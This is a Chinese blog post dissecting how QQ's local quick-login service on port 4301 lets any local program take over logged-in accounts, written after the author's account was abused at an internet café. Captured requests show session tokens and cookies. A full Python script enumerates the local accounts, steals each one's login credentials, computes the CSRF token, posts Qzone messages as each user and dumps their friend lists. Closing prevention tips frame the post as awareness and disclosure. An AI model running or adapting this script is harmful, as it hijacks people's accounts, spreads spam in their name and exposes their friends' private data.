背景
昨天我的空间和Q群发布了一些莫名其妙的东西,大概是因为前两天去网吧登录了QQ。
稍微花了一些时间,弄清楚了这些漏洞的原理,搞了一下复现。
冷静分析
遇到这种情况,一开始想到的是CSRF,毕竟之前遇到过“QQ空间蠕虫”这样的事情,但是结合去网吧的行为,并没有打开什么网页,登录了空间并进行其他什么操作,故排除。 那么猜测,很大概率是因为在网吧开黑的时候登录了QQ,然后获取到了本地QQ的一些权限,被代替进行了一些高权限操作,那么我们有理由怀疑这个权限是在登录了QQ后获取的,并且能够不需要用户的额外操作就能获取到这些权限。根据这个方向,经过一些查阅资料,基本坐实了是本地快捷登录造成的凭证窃取。
罪魁祸首——快捷登录
以下是对整套黑产行为的概括:
对快捷登录研究了一下午,也用python做了复现。时间仓促,写的比较随意,望见谅。
技术分析
QQ现在实现快捷登录的方式是这样的 1.
本地起一个服务器,本地侦听4301端口,等待本地应用与其进行HTTP交互
应用按照接口要求,从远程服务器获取
pt_local_token,然后带着这个参数请求4301端口,获取本地登录的账号信息拿到账号后,再次请求本地的
4301端口,请求指定账号登录cookie,获得clientkey请求远程登录服务器,获取对应账号的对应业务的cookie,然后就是请求一个检查的网页,通过验证,返回认证令牌(
skey)。带着这个令牌就可以对应用进行登录了
可以看出,本地的任何应用都可以与QQ建立的本地服务器进行交互,获取到账号信息,进而进行快捷登录。而漏洞就出在这。
于是我们现在尝试对快捷登录的请求进行详细的抓包分析。 1.
向远处服务器请求,获取到pt_local_token参数
以及请求的域名xui.ptlogin2.qq.com,该域名的作用就是获取凭证。
GET /cgi-bin/xlogin?proxy_url=https%3A//qzs.qq.com/qzone/v6/portal/proxy.html&daid=5&&hide_title_bar=1&low_login=0&qlogin_auto_login=1&no_verifyimg=1&link_target=blank&appid=549000912&style=22&target=self&s_url=https%3A%2F%2Fqzs.qzone.qq.com%2Fqzone%2Fv5%2Floginsucc.html%3Fpara%3Dizone&pt_qr_app=%E6%89%8B%E6%9C%BAQQ%E7%A9%BA%E9%97%B4&pt_qr_link=http%3A//z.qzone.com/download.html&self_regurl=https%3A//qzs.qq.com/qzone/v6/reg/index.html&pt_qr_help_link=http%3A//z.qzone.com/download.html&pt_no_auth=1 HTTP/1.1
Host: xui.ptlogin2.qq.com
url其中的一些参数并不需要理会,抓个包复制上去就好。需要注意的是,这个请求检查了Referer,所以Referer要改成*.qq.com
在上述请求的响应中,服务器设置了pt_local_token这个cookie,后续的计算也是围绕着这个参数展开。
2.
而客户端会带着参数pt_local_token,对本地的指定端口进行请求,获取账号信息。我们可以思考一下是谁在这个端口侦听。
请求返回的是一段JS:
HTTP/1.1 200 OK
Content-Type: Application/javascript
Content-Length: 323
var var_sso_uin_list=[{"account":"12345678","client_type":65793,"face_index":0,"gender":1,"nickname":"T3stzer0","uin":"12345678","uin_flag":4719111},{"account":"12345678","client_type":65793,"face_index":534,"gender":1,"nickname":"T3stzer0","uin":"12345678","uin_flag":32142}];ptui_getuins_CB(var_sso_uin_list);
这里面包含本地已登录的账户信息,包括账号,昵称和性别以及一些其他参数。
从这一步结束,我们就已经能获取到当前登录到本地的QQ的一些基本信息了,而接下来的步骤便是拿着pt_local_token获取更多信息,以及更大的权限。
3.
带着pt_local_token以及账号对本地端口进行请求,获取指定账号的clientkey
GET /pt_get_st?clientuin=3537***086&callback=ptui_getst_CB&r=0.03809848617064593&pt_local_tk=2008428654 HTTP/1.1
Host: localhost.ptlogin2.qq.com:4301
其中参数clientuin是Q号,r是随机数,可以随便给,pt_local_tk就是pt_local_token
请求响应返回一个clientkey的Set-Cookie字段中的值

4. 带着包含clientkey的cookie向远程服务器进行登录
GET /jump?clientuin=3537***086&keyindex=9&pt_aid=549000912&daid=5&u1=https%3A%2F%2Fqzs.qzone.qq.com%2Fqzone%2Fv5%2Floginsucc.html%3Fpara%3Dizone&pt_local_tk=2008428654&pt_3rd_aid=0&ptopt=1&style=40 HTTP/1.1
Host: ssl.ptlogin2.qq.com
其中clientuin是账号,u1是对应业务的地址,各种带着id的字段应该都是对应业务,抓个包复制下来就好了,不用太在意。
这一步并不需要什么认证,带上刚才的Cookie,发送对应的请求就可以获得登录的Cookie(包含skey字段),以及会返回一个验证的网址,需要GET一下这个网址才能获取到真正的应用登录Cookie(包含p_skey字段)
请求响应:
HTTP/1.1 200 OK
Date: Tue, 22 Jan 2019 03:27:50 GMT
Content-Type: application/javascript
P3P: CP=CAO PSA OUR
Server: Tencent Login Server/2.0.0
Strict-Transport-Security: max-age=31536000
Set-Cookie: pt2gguin=;Expires=Thu, 01 Jan 1970 00:00:00 GMT;Path=/;Domain=qq.com;
Set-Cookie: pt2gguin=o3534***3086;Expires=Tue, 19 Jan 2038 03:14:07 GMT;Path=/;Domain=ptlogin2.qq.com;
Set-Cookie: ETK=;Path=/;Domain=ptlogin2.qq.com;
Set-Cookie: uin=o3534***3086;Path=/;Domain=qq.com;
Set-Cookie: skey=@72eionO2j;Path=/;Domain=qq.com;
省略若干Set-Cookie
ptui_qlogin_CB('0', 'https://ptlogin2.qzone.qq.com/check_sig?pttype=2&uin=3534***3086&service=jump&nodirect=0&ptsigx=a1199b83fbabffba57f259d79a1d2f221d70579cde815b7284a9d8201fc4d9a34bc133aacc444dd2309b1908aa05393ddc39433&s_url=https%3A%2F%2Fqzs.qzone.qq.com%2Fqzone%2Fv5%2Floginsucc.html%3Fpara%3Dizone&f_url=&ptlang=2052&ptredirect=100&aid=1000101&daid=5&j_later=0&low_login_hour=0®master=0&pt_login_type=2&pt_aid=549000912&pt_aaid=0&pt_light=0&pt_3rd_aid=0', '')
返回的是一段JS,里面的网址是验证网址,我们需要请求它通过验证,不需要额外的参数,直接请求返回回来的这一串网址 5. 请求第4步返回的验证网址即可获得完整的登录权限
HTTP/1.1 302 Found
Date: Tue, 22 Jan 2019 03:27:50 GMT
Server: Tencent Login Server/2.0.0
Strict-Transport-Security: max-age=31536000
Set-Cookie: uin=o3534***3086;Path=/;Domain=qq.com;
Set-Cookie: skey=@72fei1O2j;Path=/;Domain=qq.com;
Set-Cookie: pt2gguin=;Expires=Thu, 01 Jan 1970 00:00:00 GMT;Path=/;Domain=qq.com; pt4_token=dZaYtbPkQf38MeZh8ik9jOmLtrxcrEMguvM_;Path=/;Domain=qzone.qq.com;
Set-Cookie: p_skey=hlcQmdkZHYwNk5y2XGipsSOm0Igjj7AKo_;Path=/;Domain=qzone.qq.com;Secure;
...
很明显,通过上述步骤获得到凭证p_skey之后,我们可以收集各类QQ相关的操作接口进行操作,如自动的发一条“奇怪的”说说。
对本地账号自动发一条说说
要实现这个目的无非就是完成上面的快捷登录,然后再在空间里面寻求发说说的请求,模拟一下即可 基本的抓包找参数的功夫就不细说了 值得一提的是空间是有CSRF防御的,所以需要找到两个参数才能发送说说
- qzone_token
- g_tk
其中qzone_token是刷新空间的时候在页面中给你的一个token,直接正则拿到就好

而追踪g_tk参数花了我不少功夫,其源码在https://qzonestyle.gtimg.cn/qzone/v8/engine/migrate-plugin.js
的getACSRFToken函数中:
getACSRFToken:function(url) {
url = QZFL.util.URI(url);
var skey;
if (url) {
if (url.host && url.host.indexOf("qzone.qq.com") > 0) {
try {
skey = QZONE.FP._t.QZFL.cookie.get("p_skey");
} catch (err) {
skey = QZFL.cookie.get("p_skey");
}
} else {
if (url.host && url.host.indexOf("qq.com") > 0) {
skey = QZFL.cookie.get("skey");
}
}
}
if (!skey) {
skey = QZFL.cookie.get("p_skey") || (QZFL.cookie.get("skey") || (QZFL.cookie.get("rv2") || ""));
}
var hash = 5381;
for (var i = 0, len = skey.length;i < len;++i) {
hash += (hash << 5) + skey.charCodeAt(i);
}
return hash & 2147483647;
}其实就是各种判断Cookie里面是否存在skey或者p_skey然后拿来做一个简单的移位加密
核心代码就这点,比较简单。
var hash = 5381;
for (var i = 0, len = skey.length;i < len;++i) {
hash += (hash << 5) + skey.charCodeAt(i);
}
return hash & 2147483647;
}所以可以看出g_tk是由p_skey简单的移位加密生成的,那么抓包一下发说说的请求
https://user.qzone.qq.com/proxy/domain/taotao.qzone.qq.com/cgi-bin/emotion_cgi_publish_v6?qzonetoken={}&g_tk={}
将qzonetoken和g_tk放进去,再在POST数据里面的con字段变成你想发的说说,就可以完成类似于你在我电脑上登录QQ,我就能代替你发说说,无感知地查看好友信息,看空间隐私等等。
### 复现脚本 花了几个小时写了复现脚本
只要脚本运行,在本机上线的QQ都会发一条说说以及被获取到所有好友信息、备注、昵称以及好友分组
- 检测本地账号

- 发送指定说说

- 获取好友列表信息以及分组

测试源码如下,仅供学习之用,了解其原理,禁止用于非法用途!
import requests
import re
# 计算发送说说的防御CSRF的Token
def getACSRFToken(p_skey):
hash_v = 5381
if p_skey:
for i in range(len(p_skey)):
hash_v += (hash_v << 5) + ord(p_skey[i])
return hash_v & 2147483647
return None
# 想要发送的说说
Message = "This is an automated messaging test by wz"
header = {
"User-Agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36",
"Referer": "https://i.qq.com/"
}
# 从QQ服务器获取请求本地服务器的Cookie
get_local_token_url = "https://xui.ptlogin2.qq.com/cgi-bin/xlogin?" \
"proxy_url=https%3A//qzs.qq.com/qzone/v6/portal/proxy.html&daid=5&&hide_title_bar=1&" \
"low_login=0&qlogin_auto_login=1&no_verifyimg=1&link_target=blank&" \
"appid=549000912&style=22&target=self&" \
"s_url=https%3A%2F%2Fqzs.qzone.qq.com%2Fqzone%2Fv5%2Floginsucc.html%3Fpara%3Dizone&pt_qr_app=%E6%89%8B%E6%9C%BAQQ%E7%A9%BA%E9%97%B4&" \
"pt_qr_link=http%3A//z.qzone.com/download.html&self_regurl=https%3A//qzs.qq.com/qzone/v6/reg/index.html&" \
"pt_qr_help_link=http%3A//z.qzone.com/download.html&pt_no_auth=1"
# Header头Referer字段必须为qq.com
login_session = requests.Session()
res = login_session.get(get_local_token_url, headers=header)
# 获取关键参数pt_local_token
pt_local_token = res.cookies.get("pt_local_token")
# 带着刚才的Cookie以及从Cookie中拿到的pt_local_tk对本地服务器进行请求
# 获取已登录的账号信息
port = 4301
local_qq_server_url = "https://localhost.ptlogin2.qq.com" # 建立在本地的QQ服务器地址,等待应用与其交互
# 传参获取本地已登录账号信息
get_QQ_num_url = local_qq_server_url + \
":{}/pt_get_uins?callback=ptui_getuins_CB&r=0.7068102287925351&pt_local_tk={}".format(port,
pt_local_token)
res = login_session.get(get_QQ_num_url, headers=header)
# 返回的账号信息是一段js的数组
dic_str = None
try:
dic_str = re.findall("var var_sso_uin_list=(\[[\s\S]*?\])", res.text)[0]
except IndexError:
print("Fail to get local account info. ")
exit(0)
# ====================================== 显示本地登录账号信息 ===========================================
account_list = eval(dic_str)
print("Detect {} account login locally".format(len(account_list)))
print("=====================================================")
account_num_list = []
for i in range(len(account_list)):
print("NO.{}".format(i + 1))
print("account:{}\nnickname:{}".format(account_list[i].get("account"), account_list[i].get("nickname")))
account_num_list.append(account_list[i].get("account"))
print("=====================================================")
# ====================================== 对每个账号进行快捷登录 ===========================================
# ===================================== 以登录QQ空间发个说说为例 ==========================================
# 对于已登录的账号
for account in account_num_list:
# 发送QQ号码及pt_local_token参数到本地服务器获取必要的Cookie,以便获取远程服务器登录许可
get_QQ_cookie_url = local_qq_server_url + \
":{}/pt_get_st?callback=ptui_getst_CB&" \
"r=0.7068102287925351&" \
"pt_local_tk={}&" \
"clientuin={}".format(port,
pt_local_token,
account)
res = login_session.get(get_QQ_cookie_url, headers=header)
# 获取远程登录凭证
# 其中u1为QQ空间地址(抓包可获得)
login_url = "https://ssl.ptlogin2.qq.com/jump?clientuin={}&" \
"keyindex=9&" \
"pt_aid=549000912&" \
"daid=5&" \
"u1=https%3A%2F%2Fqzs.qzone.qq.com%2Fqzone%2Fv5%2Floginsucc.html%3Fpara%3Dizone&" \
"pt_local_tk={}&" \
"pt_3rd_aid=0&" \
"ptopt=1&style=40".format(account, pt_local_token)
# 按照抓包获得的请求照样地设置了一下Referer 免得有检测
login_session.headers['Referer'] = get_local_token_url
res = login_session.get(login_url)
# 至此获取凭证(clientkey)成功,下面获取p_skey
# 到此处会有个check操作,需要GET去请求验证一下上一个请求响应内容给的地址
# ============================================ 获取p_skey ===================================================
zone_login_check_url = None
try:
# 获取认证地址及参数
zone_login_check_url = re.findall("'(http.*?)'", res.text)[0]
except IndexError:
print('Fail to get login token .')
exit(0)
# 发起认证请求
res = login_session.get(zone_login_check_url)
# 一样的补一下Referer和UA
login_session.headers['Referer'] = "https://qzs.qzone.qq.com/qzone/v5/loginsucc.html?para=izone"
login_session.headers[
'User-Agent'] = "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36"
# 请求对应账号的空间,获取发送说说必要参数——qzone_token(响应的JS里面获取)以及p_skey(cookie中获取)
res = login_session.get("https://user.qzone.qq.com/{}".format(account))
# 获取必要参数p_skey用来计算CSRFToken
p_skey = login_session.cookies.get("p_skey")
g_tk = getACSRFToken(p_skey) # 计算CSRFToken
# 从响应的页面JS中获取qzone_token
res.encoding = 'utf-8'
qzone_token = re.findall('window.g_qzonetoken = \(function\(\){ try\{return "([0-9a-fA-F]+?)";\}', res.text)[0]
# 发送说说的地址(抓包可得),并传入刚才获取的qzone_token以及g_tk
post_comment_url = "https://user.qzone.qq.com/proxy/domain/taotao.qzone.qq.com/cgi-bin/emotion_cgi_publish_v6?" \
"qzonetoken={}&g_tk={}".format(qzone_token, g_tk)
# 补一下Content-Type
login_session.headers["Content-Type"] = "application/x-www-form-urlencoded"
# 发送说说的必要参数(抓包可得),其中con字段及说说内容
param = {"syn_tweet_verson": "1", "paramstr": "1", "pic_template": "", "richtype": "", "richval": "",
"special_url": "", "subrichtype": "", "who": "1", "con": Message, "feedversion": "1",
"ver": "1", "ugc_right": "1", "to_sign": "0", "hostuin": "<Your QQ number>", "code_version": "1", "format": "fs",
"qzreferrer": "https%3A%2F%2Fuser.qzone.qq.com%2F<Your QQ number>"}
# 发送说说
res = login_session.post(post_comment_url, data=param)
if res.status_code == 200:
print("[+] Account {} send message successfully.".format(account))
# ================================================= 获取好友列表 =====================================================
# 接口地址
get_friends_url = "https://h5.qzone.qq.com/proxy/domain/r.qzone.qq.com/cgi-bin/tfriend/friend_show_qqfriends.cgi?" \
"uin={}&follow_flag=1&" \
"groupface_flag=0&fupdate=1&" \
"g_tk={}".format(account, g_tk)
res = login_session.get(get_friends_url)
print("QQ friends info.")
print(res.text)
写在最后
这一些接口其实我们都很熟悉Web页面的快捷登录,这一些操作就是模拟了浏览器或者说软件强制代替你进行了快捷登录。注意是运行在本地上的任何软件都可以做到这个目的。所以账号密码并没有被盗取,而是被一些恶意的软件盗取的登录凭证,代替你发送了垃圾信息。当然我没有讨论如何绕过网吧的还原机制,这又是另一码事了。 一些图谋不轨的人就将这些接口凑起来,写个软件种在网吧等公共上网设施,等待上Q的人帮他进行一些黑产行为,如在QQ群,空间里面发博彩、色情信息以及广告,进行牟利。这些技术并不复杂,很多初中甚至小学文化的“大黑阔”都可以写出来。
对于其他非计算机行业的人,很多都可能遭遇过这类情况,但又无从知晓,也渐渐地神秘化了这帮人。
写此一文也权当是一个科普,希望对读者有所收获。
防范措施:
- 在公共场合尽量不登录QQ,毕竟谁都可以帮你发一些奇奇怪怪的东西
- 若发现自己账号异常,开始乱发东西时,第一时间修改密码会导致“大黑阔”获取的cookie瞬间失效,可以立即停止发送垃圾信息
- 然后就可以进行删除说说,发群道歉或者像我这样写一篇文章进行面子的最后补救了
最后祝你生活愉快,大黑阔 :)